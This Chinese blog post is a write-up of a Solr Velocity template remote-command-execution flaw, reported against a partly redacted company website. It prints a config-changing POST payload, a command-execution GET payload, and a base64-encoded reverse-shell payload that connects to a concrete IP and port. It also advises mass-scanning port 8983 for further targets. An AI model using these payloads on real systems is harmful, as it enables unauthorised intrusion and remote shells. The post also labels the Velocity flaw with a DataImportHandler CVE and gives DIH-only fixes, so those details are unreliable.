CVE-2019-0193 Apache solr velocity模塊漏洞&命令執行

@Adminxe

【互聯網安全守護計劃】

上海XXXXXX有限公司-XXX店 官方網站 存在Apache solr velocity模塊遠程命令執行漏洞

漏洞描述:

通過發送類似/節點名/config的POST請求對該節點的配置文件做更改

Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定末班,默認設置是false

當設置params.resource.loader.enabled爲ture時,將允許用戶通過設置請求中的參數來指定相關資源加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行

漏洞特徵:

端口:8983,http,solr

路徑:/solr/item/config

受影響版本 :

Apache Solr < 8.2.0

站點:https://www.xxxxx.com/

【互聯網安全守護計劃】

利用工具:

BurpSuite

Firefox瀏覽器

目標站點: https://www.XXXXX.com/

通過域名反查,可以得到存在8983端口,並且端口下存在solr

得到目標服務器地址: http://XXX.50.13.xxx:8983

solr地址: http://XXX.50.13.xxx:8983/solr

1.因爲該漏洞所影響的模塊可以利用外部的請求來修改,所以利用惡意的請求payload去修改配置,修改了配置過後,就導致可以執行惡意的腳本,從而發起帶有惡意代碼的請求。

POST形式發送poc到配置文件config,修改了配置過後,便可以帶上惡意腳本的請求去發起訪問了,從而導致了遠程代碼執行,請求路徑內容如下圖:

打開Burpsuit,點擊用戶名,抓包-send to Repeater進行config參數修改:

修改值爲:

poc爲:

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
  }

訪問目標主機,找到漏洞的位置,點到 core selector那個按鈕,burp抓包攔截

發送到repeater,把上圖請求的admin 改爲item(這裏注意對應的模塊),後面再加config 查看是否有其配置文件,如果沒有配置文件,則說明可能目標不存在這種漏洞,這也是一種檢測方式?

2.GET形式,發送payload,進行命令執行,我們考慮到隱私性和安全性,設置執行命令爲pwd(即查看當前位置):

payload爲:

/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

反彈shell payload:

linux 反彈shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至於payload中爲什麼要base64編碼不太清楚…)

http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 

可進行遠程代碼執行,通過nc反彈,可以getshell,故定義高危漏洞。

聯繫方式:

電話 xxxxxxx 006 郵箱: business_csb@bxxxxxx.com

地址: 上海市XXXXXXXXXXXXXXX

批量利用的話:

批量搜一下開了8983端口的主機或者搜關鍵字solr

漏洞產生原因:

Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定末班,默認設置是false

當設置params.resource.loader.enabled爲ture時,將允許用戶通過設置請求中的參數來指定相關資源加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行:

{ “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” }

如何修復漏洞:

1. 官方升級

從Solr的8.2.0版本開始,使用問題參數dataConfig需要將java系統屬性“enable.dih.dataconfigparam”設置爲true。因此用戶可通過將Solr版本升級至8.2.0及以上,對此漏洞進行防護。

2.臨時防護建議

1、用戶也可通過配置solrconfig.xml文件,將所有DataImportHandler 固定配置項中的dataConfig參數,設置爲空字符串。

2、確保網絡設置只允許可信流量與Solr建立通信,尤其是與DIH請求處理器的通信。

轉載請註明:Adminxe's Blog » CVE-2019-0193 Apache solr velocity模塊漏洞&命令執行

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章